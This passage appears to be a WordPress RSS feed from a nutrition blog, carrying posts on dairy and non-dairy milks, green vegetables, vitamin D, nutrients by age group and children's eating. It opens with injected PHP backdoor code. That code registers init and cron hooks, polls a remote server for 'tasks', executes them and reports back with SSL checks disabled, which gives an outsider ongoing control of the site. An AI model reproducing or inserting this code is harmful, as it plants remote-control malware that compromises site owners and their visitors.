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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); calcium – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Sun, 28 Jun 2015 23:16:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp calcium – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 What Type of Milk is Right For You? https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/ https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/#respond Sun, 28 Jun 2015 23:16:51 +0000 http://skinnygeneproject.dreamhosters.com/?p=2440 By Eileen Ferrer, Skinny Gene Nutritionist

Happy National Dairy Month everyone!!! Raise a glass of your favorite milk and toast to the wonderful health benefits milk has to offer. Today, milk of all varieties can be found at your local supermarket. For those, like myself that can’t drink cow’s milk (but I can eat ice cream just fine), it’s great that I have my choice of non-dairy options. Taste, mouth feel or the visual effect of milk is your preference, so what type of milk is right for you?

Screen Shot 2015-07-06 at 3.57.42 PM

 

WHAT TYPE OF MILK IS RIGHT FOR YOU

Dairy milk is packed with nutrients that promote bone health, such as calcium, potassium, vitamin D and protein.

Calcium helps with building bones and teeth and aids in maintaining bone mass. In conjunction with calcium, vitamin D, which is usually fortified into milk, assists with the maintenance of appropriate levels of calcium and phosphorus. This ultimately helps to build and preserve healthy bone. Potassium maintains a healthy blood pressure, which is not only found in cow’s milk, but soymilk too.

The main types of dairy milk sold in stores are: whole, reduced-fat (2%), low-fat (1%) and non-fat milk.

Whole milk has a delicious rich and creamy texture, but it is the highest in fat. Typically, the benefit of whole milk is for toddlers after the age of 1 year until age 2 because the fat in whole milk can help with the development of their brain and nervous system.

In trying to reduce calories, 2% low-fat milk has all the benefits, but not all the fat. It is a popular substitution to whole milk. Going even lower in calories and fat is the low-fat 1% milk, which may be an option of your cutting back on daily calories. Low-fat 1% milk is still rich in calcium and vitamin D, but the taste may be significantly less milky. Lastly, non-fat also known as skim milk has about 45% less calories than whole milk, and still supplies all the same nutrients. Skim milk may be an option if you’re looking to avoid weight gain, but again the creamy, milky flavor is lacking.

NON- DAIRY SOURCES

Screen Shot 2015-07-06 at 4.04.39 PM

Like I mentioned I’m okay with dairy, but have a specific reaction to drinking milk by itself; therefore, I depend on the non-dairy sources.

One that has risen to popularity is almond milk. Almond milk has that nutty flavor that is slightly sweet. The best qualities of almond milk is that low in calories, and is fortified with calcium, vitamin A & D, and vitamin E that helps fight against UV damage. If you want to drink almond milk for the protein, it may not be the best option, as almond milk is low in protein. Also, it is higher in sodium.

Another, milk with a lot of popularity is coconut milk. It contains less calories and salt per serving, and on the plus side anything you put this milk with have that tasty coconut flavor. The fat in coconut milk is saturated, so be careful, and keep to the serving size.

Then there’s soy milk. It is low-fat and cholesterol-free, and usually fortified with calcium. However, like most non-dairy options, there is not as much protein as traditional cow’s milk.

Lastly, rice milk is a good option because it is the least likely to trigger an allergic reaction, and maybe a better option of you can’t drink any of the above. Rice milk is low fat, but has almost no protein.

Do you know what milk is right for you? Whatever your favorite is enjoy your glass of milk, and celebrate June for being National Dairy Month.

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/what-type-of-milk-is-right-for-you/feed/ 0 Good Greens That Benefit Every Body https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/ https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/#respond Fri, 16 Mar 2012 19:05:39 +0000 http://skinnygeneproject.dreamhosters.com/?p=1463 Pin It

By Emily Barr, MS,RD,CNSC 

 

Green represents a lot of terrific things, like “being green” is good for the environment and “making the green” is good for your wallet.  And if you like Saint Patty’s day, you will be sporting some green attire for good luck. 

What about eating your greens?  You never felt that lucky, as a kid, missing play time while staring at a plate of Brussels sprouts that you absolutely refused to eat.  Now looking back on those stubborn nights, you may just realize how lucky you were to be offered those wondrous greens. 

 

Eating foods of the green variety benefit you in many ways;  the potential for cancer prevention, protection against heart disease and type 2 diabetes, weight management, soluble and insoluble fiber, and not to mention the vitamins, minerals including calcium, antioxidants, phytochemicals, carotenoids, and flavonoids (A.K.A. really good things for your body and metabolism).Now are you interested in stepping up the greens?  

 

BENEFITS OF GOING GREEN 

 

 

LOW IN CALORIES:  Weight management and disease prevention go hand in hand.  By keeping your body at a healthy weight, you reduce your risk of heart disease, diabetes, and certain cancers.  The lower calorie greens typically range between 10-30 calories per ½ cup serving, which can play a very important role in weight management by replacing other high calorie foods.

 

Low calorie greens to try:   Spinach (1 cup raw = 7 calories), Swiss chard (1 cup = 7 calories), bok choy (1 cup = 10 calories), and cucumber (1/2 medium = 8 calories)

 

GREAT SOURCE OF FIBER: Greens contain both types of fiber, soluble and insoluble fibers that benefit the heart by reducing cholesterol and the waist line by filling you up on fewer calories.   Both types of fiber are helpful to regulate your blood sugar control.

 

Fiberful greens to try:  Cabbage (1 cup chopped = 5.16 grams carbohydrate of which 2.2 grams is fiber); Brussel sprouts (4 sprouts = 5.5 grams carbohydrate of which 2 grams is fiber), artichoke (1/2 medium = 6.7 grams carbohydrate of which 3.5 grams is fiber), and spinach (1 cup raw = 1 grams of carbohydrate of which 0.7 grams is fiber).

 

ANTIOXIDANT RICH: Many green vegetables are an excellent source of Vitamin C, which is an antioxidant.  What this means is that they limit cell damage and help repair cells that have been damaged by free radicals.  When free radicals are in action, they change the cell, which may lead to health risks including illness by decreasing your immune system, heart disease, cancer, and arthritis.

 

For green vegetables with an excellent sources Vitamin C to try:  Kale (1 cup raw = 80.4 mg), broccoli (1/2 cup cooked = 51 mg), Brussel sprouts (4 sprouts = 48.4 mg), and bok choy (1 cup = 30 mg)

 

FULL OF FOLATE: Folate is a vitamin found in high amounts in green vegetables, which plays a vital role in cell metabolism, especially for pregnant moms, growing babies and kids.  Folate is also involved in the metabolism of homocysteine.  High levels of homocysteine are connected to heart disease.

 

Folate rich greens to try:  Spinach (1 cup raw = 58 mcg DFE), brussel sprouts (4 sprouts = 47 mcg DFE), broccoli (1/2 cup cooked = 84 mcg DFE), and asparagus (4 spears = 89 mcg DFE).

 

LOW FAT:  The majority of green vegetables are naturally low in fat and saturated fat, which is great for your heart!

 

The following super green veggies have less than 0.5 grams fat per serving:  Kale, asparagus, broccoli, cucumber, brussel sprouts, bok choy, spinach, artichoke, swiss chard, and cabbage.

]]> https://skinnygeneprojectnew.dreamsites.io/how-good-greens-benefit-every-body/feed/ 0 Vitamin D: The Sunshine Vitamin or not? https://skinnygeneprojectnew.dreamsites.io/vitamin-d-the-sunshine-vitamin-or-not-2/ https://skinnygeneprojectnew.dreamsites.io/vitamin-d-the-sunshine-vitamin-or-not-2/#respond Mon, 09 Aug 2010 20:39:55 +0000 http://skinnygene.wordpress.com/?p=573 Vitamin D should be at the top of our list of easiest vitamins to achieve our needs!  Vitamin D is unusual in the since that you can get it from the sun as well as food.  But why are 70% of our kids not meeting their needs? Oh, And adults aren’t too far behind!

The benefits of Vitamin D are outstanding!  Vitamin D has been found to reduce the risk of diabetes, high blood pressure, heart disease, and many types of cancer.  Vitamin D also plays an important role in the absorption of Calcium and the strength of our bones. 

The body makes Vitamin D when exposed to sunlight for 10 or 15 minutes a day.  With our busy and somewhat sedentary lifestyles, 10 to 15 minutes of sunlight may not be included in our routine.  The other major problem with relying on the sun for our Vitamin D is sunscreen, blocking cancerous rays of sunlight as well as 98% of Vitamin D.  Darker skin and your location from the equator also affect your exposure to the sun’s Vitamin D.   Call your family and friends north of San Francisco to Boston and let them know they are at high risk for Vitamin D deficiency!

Other than the sun, where can you look to meet your Vitamin D needs?  Good sources include cod liver oil (good luck with that!), fatty fish such as salmon, mackerel, and tuna, and foods fortified with Vitamin D such as milk and juices.  But it may not be that easy.  Researchers have looked at the levels of Vitamin D in the fortified foods and found unbelievable results! 

Of the tested milk fortified with Vitamin D, 15% did not have any detectable Vitamin D and over 50% of the milks tested had less than 80, yes 80% of the level it was supposed to have.  

The current recommendation for Vitamin D is 400 IUs (International Units) per day, of which most of us fall short.  Research is showing that this recommended intake may need to be increased to 800 IUs or more!  Our best bet is to be sure we are drinking our milk every day, getting our sun exposure, and taking a multivitamin to allow ourselves the benefits of Vitamin D.

By Emily Barr, MS, RD, CNSC

Want More?? Check out these posts from Emily…

Meet Emily

Summertime Drinks that Won’t Bust Your Diet or Your Waistline

Best Defense Against Cellulite

Water Filled Summer

Value Menu-Eat now, Pay later

Different ages, different requirements to be healthy

Kids Really Do Like Fruits and Vegetables

Spring into Green

]]> https://skinnygeneprojectnew.dreamsites.io/vitamin-d-the-sunshine-vitamin-or-not-2/feed/ 0 Different ages, different requirement to be healthy! https://skinnygeneprojectnew.dreamsites.io/different-ages-different-requirement-to-be-healthy/ https://skinnygeneprojectnew.dreamsites.io/different-ages-different-requirement-to-be-healthy/#respond Thu, 15 Apr 2010 01:54:47 +0000 http://skinnygene.wordpress.com/?p=166 The multi-generational family is making a comeback!

The blended family, job losses, home foreclosures, and aging parents are all reasons an extra chair (or two) are being pulled up to the dinner table. It’s the 2010 version of the Brady bunch, which could now includes babies, toddlers, preschool and school age children, teenagers, 20s, 30s, pregnant women, over the hill, and our beloved seniors.

Each person is at a different phase in life, and requires his/her own special dietary attention. So how do you keep up the with balanced nutrition for different age groups, and keep a healthy home? Good question. I’d say plant your family tree and watch it grow!  With the right nutrition, of course!

By Ronaldo F Cabuhat

Different ages, different requirement to be healthy!  Here are some important nutrients for the family members in your home:

Babies:  Vitamin D, Iron, Zinc, Calcium, Vitamin A, B12

Toddlers:  Calcium, Vitamin D, Iron, Zinc, B6, Folic Acid, Vitamin A

School Age:  Calcium, Vitamin D, B6, Zinc, fiber, Iron

Teenagers:  Calcium, Iron, Zinc, fiber

Adults:  Calcium, Iron, Zinc, fiber

Seniors: Calcium, Iron, Vitamin D, Zinc, Vitamin A, C, and E, fiber, B12

The nutrition needs of our family are always changing. To adapt to this ever-changing household, first focus on the roots of your family tree, the minerals that are essential for all ages- Calcium, Iron, and Zinc.  Let’s say a house had a teenager, toddler, and an elderly family member all sitting at the same table for dinner.

CALCIUM

When it comes to Calcium, teenagers need 250% of the Calcium a toddlers needs.  But if your toddler or teenager drinks or eats too much milk or calcium rich foods, they may become deficient in another mineral, Iron

Our children are at risk!  Studies show that ~75% of teenagers are falling short of their Calcium needs.   Now that your 16 year old teenage boy is flying more independently and sprouting up taller than you, you may want to keep tabs on what he is drinking.  The teenage years are very important for bone growth, which in typical teenage fashion, your teenager may not care about and would rather drink Calcium’s competitor, soda and energy drinks.  A teenager needs 1300 mg Calcium per day, the highest of any age group.  In order to meet these sky-high requirements, your teenager needs to get 4-5 servings of milk or other dairy sources every day!   

Good sources of Calcium are primarily dairy products, such as milk, yogurt, cottage cheese, pudding, and regular cheeses.  But you can also find some Calcium in smaller amounts in Calcium fortified OJ, tofu, and green vegetables such as spinach, broccoli, kale, and turnip greens. 

If lactose intolerance is a problem for your family, be sure to try soymilk, it contains about the same amount of Calcium as a glass of milk. 

There are many additional factors to consider, like how well our body absorbs Calcium. Some factors help and some make it more difficult!  These factors include Vitamin D, Sodium, Potassium, Fiber, Protein, Caffeine, Alcohol, Age, Ethnicity, and Pregnancy to name a few.  Our bodies are so complex; sometimes it’s not as easy as drinking 3 cups of milk a day!

IRON

Iron is what helps oxygen get to all parts of your body, iron deficiency is the number one nutritional disorder in the world (WHO), resulting in feeling tired or weak, poor school performances, increased illness.  Iron deficiency anemia can be a problem especially for pregnant women, premature babies, toddlers, teenage girls, athletes, overweight children, and people with renal failure and gastrointestinal disorders.

Females 14-50 years of age have the highest Iron requirements related to increased blood loss with their monthly cycles.  Be sure the women in your family are eating food rich in iron all month long!  Try adding spinach to salads or sandwiches, offer OJ with your morning oatmeal, and include meat, poultry or fish in your evening meal.

Iron is found in both animal sources, such as red meats, chicken, turkey, and fish, as well as plant sources including cereals, oatmeal, soybeans, lentils, beans, and spinach.  Look for foods that have greater than 20% of the Daily Value for Iron on the nutrition label. 

ZINC

Keep you immune function up and kids growing with Zinc!  Children can often be picky resulting in poor intakes often times of meats, which may result in zinc deficiency.  Inadequate zinc intake may cause your child not to grow as well, may cause problems with their hair, nails, and skin, or may decrease their appetites.  Loss of appetite may also be a concern for the older family members who may not be eating enough overall, therefore eating less zinc. 

If your 2 year old little princess is stuck on macaroni and cheese and nothing else, she may be in need of more zinc!  Try making that macaroni and cheese with lean hamburger meat! 

The best sources of zinc are found in red meats and chicken, but also found in cereals fortified with zinc, beans, peas, oatmeal, milk and nuts. 

Calcium, Iron, and Zinc are essential parts of your family’s diet, but what happens when you add other factors in such as trying to lose weight, lower your cholesterol, lactose intolerance, athletes to feed, vegetarian, control diabetes, and other factors complicating your family’s dinner.

Making a healthy meal for your family tree can be as difficult as keeping up with each and every one of their needs!   To learn more about the nutritional needs of your family tree, join our free seminars! To find out about upcoming dates follow our blog or follow us on facebook.

]]> https://skinnygeneprojectnew.dreamsites.io/different-ages-different-requirement-to-be-healthy/feed/ 0 Kids really do like fruits and vegetables! https://skinnygeneprojectnew.dreamsites.io/kids-really-do-like-fruits-and-vegetables/ https://skinnygeneprojectnew.dreamsites.io/kids-really-do-like-fruits-and-vegetables/#respond Mon, 15 Mar 2010 17:13:36 +0000 http://skinnygene.wordpress.com/?p=139 DIETITIAN’S DIARY (March 15th)

Over the weekend, the Skinny Gene Project was happy to have a booth at the Kids in the Kitchen fair in San Diego.

As a Registered Dietitian and long time Pediatric Dietitian, I was very proud of our youth! The kids were eager to learn about, wait….can you believe this? Fruits and Vegetables!

Our booth was created to teach kids about the importance of having these micronutrient rich foods in there diets. We had plates loaded with colorful fruits and vegetables and many other fun props to teach kids the role of vitamins A,C,D, E, K, and the mineral Calcium are for there bodies. The kids came up to the booth pointing, touching, and talking about their favorite fruits and vegetables, some of their answers even surprised their parents!

There was some talk from parents of their kids being picky eaters, not liking certain or all vegetables. This is one thing I have seen over my career working with kids, but there is good news, which I passed on to each of these parents. Kids will eat fruits and vegetables if that is what is offered and available. If you give your child a choice between carrots and cheetos, there is no doubt what they will choose. The solution is easy, leave the cheetos at the grocery store! If you don’t want your child to eat something, don’t buy it for them! I know this is easy for me to say, but once your child gets used to the rules, that’s it, remember who is in charge!

BY: Emily Barr, MS, RD, CNSC

]]> https://skinnygeneprojectnew.dreamsites.io/kids-really-do-like-fruits-and-vegetables/feed/ 0 SPRING INTO GREEN!! https://skinnygeneprojectnew.dreamsites.io/spring-into-green/ https://skinnygeneprojectnew.dreamsites.io/spring-into-green/#respond Thu, 04 Mar 2010 04:06:32 +0000 http://skinnygene.wordpress.com/?p=22 Green foods are all-around amazing additions to your diet.  Did you know most of them are associated with lowering your risk of cancer, some help reduce aging, most have low glycemic index values which are associated with better blood sugar control, and they are found to protect your heart?  The positive qualities of greens are abundant!  Here are some great tips to incorporate more greens in your diet this Spring!

 For a fresh crunch!

  •  Snack on cucumber and celery, both of these have <20 calories per serving (1/2 cucumber or 2 stalks of celery) and are full of fiber and water.  Both celery and cucumbers have been found to help lower your blood pressure.

 For a sweet treat!

  • Try fruit for dessert or snacks!  Some delicious green fruits include melons, apples, grapes, and pears.   These fruits have ~1/3 the calories of the average dessert! 
  • Add lime to foods for an extra sweet twist.  Limes are a great way to season foods without adding extra calories from fat. 

 It’s green on the inside!

  • Kiwifruits are super sweet treats that are green on the inside!  Kiwi provides a great source of Vitamin C (95% of the daily value), the antioxidant that protects our body from cell damage, inflammation and cancer.  Kiwi also provides a good source of fiber useful in lowering cholesterol and keeping blood sugars under control.   Simply cut the kiwi in half and spoon out the insides. Be sure to eat the seeds for the extra fiber!
  • Avocados are another green on the inside food that provides amazing nutrition benefits, including lowering your risk of cancer and promoting a healthy heart.  Add a slice of avocado to salads, soups, or sandwiches to enjoy these health benefits.

Super foods are a must!

  • Broccoli and Spinach are great sources of iron, which help carry oxygen through your body to give you energy and calcium, essential for strengthening and protecting your bones!  Both are great sources of fiber containing ~4-5 grams fiber per cup, which is an excellent way to satisfy your appetite on less than 50 calories!  These two foods are super foods because they provide additional amazing health benefits with consumption, for example prevention of cancer, removal of toxins from our body, repair sun damaged skin, protect our heart from inflammation that may cause a heart attack or stroke, and enhance the immune system. 

By Emily Barr, MS, RD, CNSC

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